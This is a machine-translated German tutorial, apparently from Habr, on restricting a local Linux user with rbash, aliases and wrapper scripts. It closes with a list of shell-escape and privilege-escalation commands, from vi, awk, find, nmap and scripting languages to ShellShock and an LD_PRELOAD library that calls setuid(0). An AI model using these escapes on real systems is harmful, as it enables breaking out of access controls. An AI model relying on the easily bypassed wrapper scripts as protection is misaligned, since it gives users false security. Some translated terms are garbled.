Beschränkung der lokalen Benutzerrechte unter Linux auf ein Minimum

Cat Eines Tages erschien die folgende Aufgabe: Erstellen eines lokalen Benutzers unter Linux mit eingeschränktem Zugriff auf Ordner und Dateien, einschließlich nicht nur Bearbeiten, sondern auch Anzeigen sowie der Möglichkeit, nur zulässige Dienstprogramme zu verwenden. Es wird nur lokaler Zugriff bereitgestellt, es gibt keinen Netzwerkzugriff.

Um das Rad nicht neu zu erfinden, habe ich als erstes mit dem Graben des Internets begonnen, wodurch die folgenden Optionen gefunden wurden:

  • Zugriffsbeschränkungen über Netzwerkdienste ssh, sftp (passte nicht)
  • Differenzierung der Zugriffsrechte durch das Linux-Betriebssystem selbst (passte nicht, ich hätte gerne eine universelle Lösung)
  • mit chroot (passte nicht)
  • Die Verwendung von Dienstprogrammen von Drittanbietern, z. B. SELinux (passte nicht, erschwert das System).

Als Ergebnis der Suche wurde ein integrierter Mechanismus zum Einschränken der Benutzerfunktionen innerhalb der Bash-Shell gefunden, der als Restricted Shell oder rbash bezeichnet wird .

Es werden die folgenden Einschränkungen implementiert:

  • Es gibt keine Möglichkeit, das Verzeichnis mit dem Befehl cd zu ändern
  • Sie können die Werte der Variablen SHELL, PATH, ENV, BASH_ENV nicht zurücksetzen oder ändern
  • Es ist verboten, Befehle anzugeben, die / (Schrägstrich) enthalten.
  • Es ist verboten, Funktionen aus der Haupt-Shell zu importieren
  • Es ist verboten, die Ausgabe mit den Operatoren>, <, |, <>,> &, &>, >> umzuleiten
  • Es ist verboten, den Befehl exec zu verwenden, um den Befehl usw. zu ersetzen.

Es gibt ein Minus, dies ist Sicherheit, daher ist es unbedingt erforderlich, den Befehlen in der Verhaltensdatei der .bashrc-Shell einen Alias ​​hinzuzufügen (die Informationen werden weiter unten aufgeführt).

Natürlich ist rbash out of the box, es löst nicht alle Probleme. Daher ziehen wir als Beispiel in Betracht, einen Benutzer zu erstellen und seine Umgebung für eine vollständige Lösung unseres Problems einzurichten.

Ferner werden alle Operationen vom Superuser (root) ausgeführt.

1. Erstellen Sie eine begrenzte Shell

echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash 

2. Erstellen Sie einen Benutzer

 adduser --home /home/zuser --shell /bin/zbash zuser 

3. Ändern Sie die Verzeichnisberechtigungen

 chown root.zuser /home/zuser chmod 750 /home/zuser 

4. Gehen Sie in das Verzeichnis und bereinigen Sie es

 cd ~zuser ls -a rm .bash* rm .profile ls -a 

5. Passen Sie die Shell und die Rechte an

 echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc # alias   help echo "bind 'set disable-completion on'" >> .bashrc #    tab mkdir -p bin chmod 750 bin chown -R root.zuser /home/zuser chmod 640 .bash* 

Die .bashrc-Datei definiert das Verhalten der Shell. Dieser Datei kann ein Alias ​​für Befehle oder zusätzliche Optionen hinzugefügt werden.

Führen Sie die folgenden Befehle aus, um die Sicherheit zu gewährleisten:

 echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc 

Die Liste geht weiter ...

6. Überprüfen Sie die Arbeit

 root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls:    zuser@host: /bin/ls bash: /bin/ls:         {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH:     zuser@host: exit 

7. Fügen Sie gültige Befehle hinzu

 ln -s /bin/ping /home/zuser/bin/ping 

Wichtig ist, dass die Pfade im Befehl ln vollständig angegeben werden müssen.

8. Sie können Wrapper verwenden, um die Optionen des Befehls einzuschränken.

 mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info 

9. Sie können auch einen Wrapper für die Arbeit mit Dateien und Ordnern erstellen.
mit einer schwarzen Liste (alles außer erlauben):
- eine Datei erstellen

 nano /var/scripts/ls 

- Dateiinhalt

 blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $* 

Blacklist - Eine Variable, die eine Blacklist mit Verzeichnissen oder Dateien enthält (durch Leerzeichen getrennt).
- Befehl für Benutzer zuser hinzufügen

 chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls 

Mit diesem Skript können Sie den Befehl ls mit beliebigen Schlüsseln für Verzeichnisse und Dateien ausführen, die nicht mit der Blacklist übereinstimmen

mit einer weißen Liste (alles außer verbieten):
- eine Datei erstellen

 nano /var/scripts/cat 

- Dateiinhalt

 whitelist="./ /tmp/" #   for var in $whitelist do if [[ $* == *$var* ]]; then /bin/cat $* #   cat    exit fi done echo 'Access is denied:' $* 

Whitelist - eine Variable, die eine weiße Liste von Verzeichnissen oder Dateien enthält (durch Leerzeichen getrennt)
- Befehl für Benutzer zuser hinzufügen

 chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat 

Mit diesem Skript können Sie den Befehl cat mit den angegebenen Dateien in der weißen Liste ausführen.

Fertig , wir haben endlich folgendes Ergebnis erhalten:

  • wir haben einen zuser user mit rbash shell erstellt
  • deaktiviert die Möglichkeit, die automatische Vervollständigung in der Konsole zu verwenden
  • zuser kann Dienstprogramme nur aus dem Verzeichnis / home / zuser / bin ausführen
  • hat den Befehl ping zu zuser hinzugefügt
  • Der Befehl user-info wurde dem Benutzer zuser hinzugefügt
  • zuser wurde durch den Wrapper eingeschränkt, um die Befehle ls und cat auszuführen


Diese Methode garantiert leider keine 100% ige Sicherheit, und mit bestimmten Kenntnissen und Qualifikationen kann der Benutzer diese Shell verlassen. Dank Jouretz Arheops YaDr in den Kommentaren lieferten sie Beispiele für die Umgehung von Shell-Einschränkungen.

In dieser Lösung (Shell Escape) sind folgende Sicherheitslücken vorhanden, die berücksichtigt werden müssen:
WEGMöglichkeit, die PATH-Variable zu ändern
Kopieren Sie Dateien per scpMöglichkeit zum Hochladen Ihres Skripts
Wenn Sie eine Verbindung über ssh herstellen, können Sie die Shell ändern
 ssh zuser@xxxx -t "/bin/bash" 
Wenn Sie eine Verbindung über ssh herstellen, können Sie die Shell-Konfigurationsdatei ändern
 ssh zuser@xxxx -t "bash --noprofile" 
Wenn Sie eine Verbindung über ssh herstellen, können Sie ShellShock verwenden
 ssh zuser@xxxx -t "() { :; }; /bin/bash" 
Über Dienstprogramme vi, vim
 :!bash 
Über Dienstprogramme vi, vim
 :set shell=/bin/bash :shell 
Durch Versorgungsunternehmen mehr, weniger
 !bash 
Über das Dienstprogramm find
 find . -maxdepth 0 -execdir /bin/bash \; 
Über awk Dienstprogramm
 awk 'BEGIN {system("/bin/bash")}' 
Über das Dienstprogramm nmap
 nmap --interactive 
Über das Dienstprogramm nmap
 echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse 
Durch Perl
 perl -e 'exec "/bin/bash";' 
Über Python
 python -c 'import pty; pty.spawn("/bin/bash")' 
Über Rubin
 ruby: exec "/bin/bash" 
Über LD_PRELOADErstellen Sie die Datei evil.c:
 #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } 

Wir kompilieren:
 gcc -fPIC -shared -o evil.so evil.c -nostartfiles 

Wir übertragen die resultierende Datei evil.so mit geschlossener Konsole auf den Computer und führen Folgendes aus:
 LD_PRELOAD=$PWD/evil.so ls 

Als Argument jeder verfügbare Befehl

Aufgrund des Vorhandenseins einer ausreichend großen Anzahl von Sicherheitslücken kann diese Methode nur für einen lokalen Benutzer auf nicht kritischen Systemen verwendet werden. Für den Zugriff über ein Netzwerk über ssh ist es besser, chroot oder andere Dienstprogramme zu verwenden, um die Benutzerfunktionen einzuschränken.

Ich hoffe, diese Informationen werden nützlich sein.

Source: https://habr.com/ru/post/de437710/


All Articles